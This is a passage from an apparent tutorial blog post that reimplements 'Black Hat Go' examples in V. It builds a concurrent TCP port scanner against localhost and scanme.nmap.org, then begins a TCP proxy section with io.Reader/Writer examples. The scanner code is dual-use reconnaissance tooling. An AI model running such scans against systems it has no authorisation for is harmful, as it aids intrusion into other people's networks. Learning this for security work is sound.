</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">fn</span> [<span style="color:#a6e22e">host</span>] (<span style="color:#a6e22e">port</span> <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) {
</span></span><span style="display:flex;"><span>				println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Successfully</span> <span style="color:#a6e22e">connected</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> { println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">connect</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) }
</span></span><span style="display:flex;"><span>			} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>				println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">connect</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}(<span style="color:#a6e22e">p</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Owing to lack of wait for the goroutines to finish their work, the program exits before connections are established and the program fails to provide results.</p>
<p><img src="./too-fast-scanner.png" alt="too-fast-scanner"></p>
<p>Adding a <code>wait()</code> for the goroutines does allow for the execution of the function to finish but the results may vary owing to limitation of network resources.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">host</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">localhost</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">routines</span> <span style="color:#f92672">:=</span> []<span style="color:#a6e22e">thread</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">p</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0..65536</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">routines</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#66d9ef">go</span> <span style="color:#a6e22e">fn</span> [<span style="color:#a6e22e">host</span>] (<span style="color:#a6e22e">port</span> <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) {
</span></span><span style="display:flex;"><span>				println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Successfully</span> <span style="color:#a6e22e">connected</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> { println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">connect</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) }
</span></span><span style="display:flex;"><span>			} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>				println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">connect</span> <span style="color:#a6e22e">to</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}(<span style="color:#a6e22e">p</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">routines</span>.<span style="color:#a6e22e">wait</span>()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="./inconsistent-scanner.png" alt="inconsistent-scanner"></p>
<h3 id="port-scanning-using-worker-pools">Port Scanning using worker pools</h3>
<p>To avoid inconsistencies, a pool of goroutines can be created to manage the task being performed. A <code>for</code> loop can be used to create a resource pool of worker goroutines. Next, in <code>main()</code> <em>thread</em>, use a <strong>channel</strong> to provide work.</p>
<p>To keep track of a worker, I will use <a href="https://modules.vlang.io/sync.html#readme_sync"><code>sync</code></a> module&rsquo;s <a href="https://modules.vlang.io/sync.html#WaitGroup"><code>WaitGroup</code></a> implementation.</p>
<p>The following code segment creates a resource pool of ten workers and uses them to output numbers within the 0 to 99 (inclusive) range using a buffered channel with a capacity of 100 elements.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">sync</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">worker</span>(<span style="color:#a6e22e">ch</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>) {	<span style="color:#75715e">// worker function</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> {				
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">val</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ch</span> <span style="color:#a6e22e">or</span> { <span style="color:#66d9ef">continue</span> } 		<span style="color:#75715e">// monitor the channel for input</span>
</span></span><span style="display:flex;"><span>		println(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">val</span>}<span style="color:#960050;background-color:#1e0010">\</span><span style="color:#a6e22e">n</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">10</span>}			<span style="color:#75715e">// instantiate a buffered channel to provide port number to the worker function</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">wg</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">sync</span>.<span style="color:#a6e22e">new_waitgroup</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0.</span>.<span style="color:#a6e22e">ch</span>.<span style="color:#a6e22e">cap</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">wg</span>.<span style="color:#66d9ef">go</span>(<span style="color:#a6e22e">fn</span> [<span style="color:#a6e22e">ch</span>] () {			<span style="color:#75715e">// WaitGroup.go() function manages the WaitGroup.add() and WaitGroup.done() function calls</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">worker</span>(<span style="color:#a6e22e">ch</span>)
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0..100</span> {				<span style="color:#75715e">// Communicate port number through the channel</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ch</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">i</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">wait</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ch</span>.close()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>When the previously built code for port scan is plugged into the worker function, I do get results but in no particular order. (I separated the WaitGroup call  <code>wg.go</code> into <code>wg.add()</code> and <code>wg.done()</code> for better control).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">sync</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">worker</span>(<span style="color:#a6e22e">host</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">ports</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">wg</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">sync</span>.<span style="color:#a6e22e">WaitGroup</span>) {		<span style="color:#75715e">// worker function</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> {				
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">port</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ports</span> <span style="color:#a6e22e">or</span> { <span style="color:#66d9ef">continue</span> } 								<span style="color:#75715e">// monitor the channel for input</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) {
</span></span><span style="display:flex;"><span>			println(<span style="color:#e6db74">&#34;Successfully connected to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>				println(<span style="color:#e6db74">&#34;Failed to close connection to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>			println(<span style="color:#e6db74">&#34;Failed to connect to ${host}:${port}&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">done</span>()														<span style="color:#75715e">// signify work completion</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ports</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">100</span>}			<span style="color:#75715e">// instantiate a buffered channel to provide port number to the worker function</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">wg</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">sync</span>.<span style="color:#a6e22e">new_waitgroup</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0.</span>.<span style="color:#a6e22e">ports</span>.<span style="color:#a6e22e">cap</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">worker</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">localhost</span><span style="color:#960050;background-color:#1e0010">&#39;</span>, <span style="color:#a6e22e">ports</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">wg</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">port</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0..65536</span> {				
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">add</span>(<span style="color:#ae81ff">1</span>)						<span style="color:#75715e">// add the work</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">ports</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">port</span>					<span style="color:#75715e">// Communicate port number through the channel</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">wait</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ports</span>.close()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="no-order-concurrent-scan.png" alt="no-order-concurrent-scan"></p>
<h3 id="multichannel-communication">Multichannel Communication</h3>
<p>By using two threads</p>
<ul>
<li>One for sending port to worker for scanning</li>
<li>Second for receivng the result</li>
</ul>
<p>we can order the result of port scan. This also eliminates the need for <code>WaitGroup</code> as the number of inputs to and outputs from the worker pool remain constant for the batch of ports scanned. As explained better in the book <a href="https://nostarch.com/blackhatgo">Black Hat Go</a>:</p>
<blockquote>
<p>For example, if you scan 1024 ports, you’re sending on the worker channel 1024 times,and you’ll need to send the result of that work back to the main thread 1024 times. Because the number of work units sent and the number of results received are the same, your program can know when to close the channels and subsequently shut down the workers.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">worker</span>(<span style="color:#a6e22e">host</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">ports</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>, <span style="color:#a6e22e">results</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>) {				<span style="color:#75715e">// worker function</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> {				
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">port</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">ports</span> <span style="color:#a6e22e">or</span> { <span style="color:#66d9ef">continue</span> } 								<span style="color:#75715e">// monitor the channel for input</span>
</span></span><span style="display:flex;"><span>		
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> {}
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">results</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">port</span>												<span style="color:#75715e">// record the port number</span>
</span></span><span style="display:flex;"><span>		} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">results</span> <span style="color:#f92672">&lt;-</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>												<span style="color:#75715e">// -1 signifies a closed port</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">host</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">scanme</span>.<span style="color:#a6e22e">nmap</span>.<span style="color:#a6e22e">org</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ports</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">100</span>}			<span style="color:#75715e">// buffered channel to provide port number to the worker function</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">results</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">int</span>{<span style="color:#a6e22e">cap</span>: <span style="color:#ae81ff">100</span>}		<span style="color:#75715e">// buffered channel to retrieve result from worker function</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">openports</span> <span style="color:#f92672">:=</span> []<span style="color:#66d9ef">int</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0.</span>.<span style="color:#a6e22e">ports</span>.<span style="color:#a6e22e">cap</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">worker</span>(<span style="color:#a6e22e">host</span>, <span style="color:#a6e22e">ports</span>, <span style="color:#a6e22e">results</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">fn</span> [<span style="color:#a6e22e">ports</span>] () {					<span style="color:#75715e">// thread to communicate ports</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">port</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0..1024</span> {				
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">ports</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">port</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0..1024</span> {					<span style="color:#75715e">// fetch back the results (in this main thread)</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">port</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">results</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">port</span> <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">openports</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">port</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ports</span>.close()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">results</span>.close()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">openports</span>.<span style="color:#a6e22e">sort</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">port</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">openports</span> {
</span></span><span style="display:flex;"><span>		println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Open</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">host</span>}:<span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">port</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="./top-1024-ports-concurrent-sorted-scan.png" alt="top-1024-ports-concurrent-sorted-scan"></p>
<h2 id="building-a-tcp-proxy">Building a TCP Proxy</h2>
<p>This section first walks through a TCP <em>echo server</em> that echoes a given response back to the client. Next, we build a port forwarder and implement netcat&rsquo;s code execution features.</p>
<h3 id="using-ioreader-and-iowriter">Using io.Reader and io.Writer</h3>
<p>Similar to Go, V provides with <a href="https://modules.vlang.io/io.html#Reader"><code>io.Reader</code></a> and <a href="https://modules.vlang.io/io.html#Writer"><code>io.Writer</code></a> interfaces with a single requirement of <code>read</code> and <code>write</code> functions respectively.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Reader represents a stream of data that can be read.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">interface</span> <span style="color:#a6e22e">Reader</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// read reads up to buf.len bytes and places</span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// them into buf.</span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// A type that implements this should return</span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// `io.Eof` on end of stream (EOF) instead of just returning 0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">read</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span> []<span style="color:#a6e22e">u8</span>) !<span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Writer is the interface that wraps the write method, which writes buf.len bytes to the underlying data stream.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">interface</span> <span style="color:#a6e22e">Writer</span> {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">buf</span> []<span style="color:#a6e22e">u8</span>) !<span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>An example implementation of the above described interfaces can be:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">os</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">log</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">ExampleReader</span> {}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">r</span> <span style="color:#a6e22e">ExampleReader</span>) <span style="color:#a6e22e">read</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span> []<span style="color:#a6e22e">u8</span>) !<span style="color:#66d9ef">int</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">eprint</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">in</span>&gt; <span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">stdin</span>().<span style="color:#a6e22e">read</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span>)					<span style="color:#75715e">// os.stdin() returns an os.File struct which implements io.Reader.read() as read() for stdin</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">ExampleWriter</span> {}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">ExampleWriter</span>) <span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">buf</span> []<span style="color:#a6e22e">u8</span>) !<span style="color:#66d9ef">int</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">eprint</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">out</span>&gt; <span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">stdout_handle</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">stdout</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">stdout_handle</span>.<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">buf</span>)					<span style="color:#75715e">// os.stdout() returns an os.File struct which implements io.Writer.write() as write() for stdout</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">reader</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ExampleReader</span>{}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">writer</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ExampleWriter</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span> <span style="color:#f92672">:=</span> []<span style="color:#a6e22e">u8</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">4096</span>}		<span style="color:#75715e">// io.Reader and io.Writer interfaces work on basis of buf.len</span>
